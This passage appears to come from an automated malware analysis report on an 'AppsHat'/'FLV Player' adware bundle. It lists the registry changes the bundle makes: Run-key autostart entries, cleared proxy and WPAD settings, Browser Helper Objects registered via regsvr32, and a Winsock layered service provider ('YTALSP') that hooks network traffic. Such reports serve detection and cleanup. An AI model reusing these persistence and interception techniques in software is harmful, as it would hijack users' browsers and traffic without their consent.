"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "62 68 C3 0B E6 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Tue Feb 10 06:00:11 UTC 0200 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "92 DC 08 13 E6 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 58 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "92 DC 08 13 E6 44 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebPlayer.exe:2508 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\WebPlayer\FLV Player]
"last_config_request" = "Tue Feb 10 05:59:47 UTC 0200 2015"
"Version" = "1.1"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "83 87 CC FA E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "76 04 3E 04 E6 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\WebPlayer\FLV Player]
"Config" = "{""group-name"":""FLV Player""
"start-on-windows" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "76 04 3E 04 E6 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"FLV Player" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process appshat.exe:4008 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "AC 96 03 05 E6 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F4 CF 62 08 E6 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F4 CF 62 08 E6 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process regsvr32.exe:2612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:2172 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3988 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

The process lspinst.exe:2780 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PLJVRQSlx|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

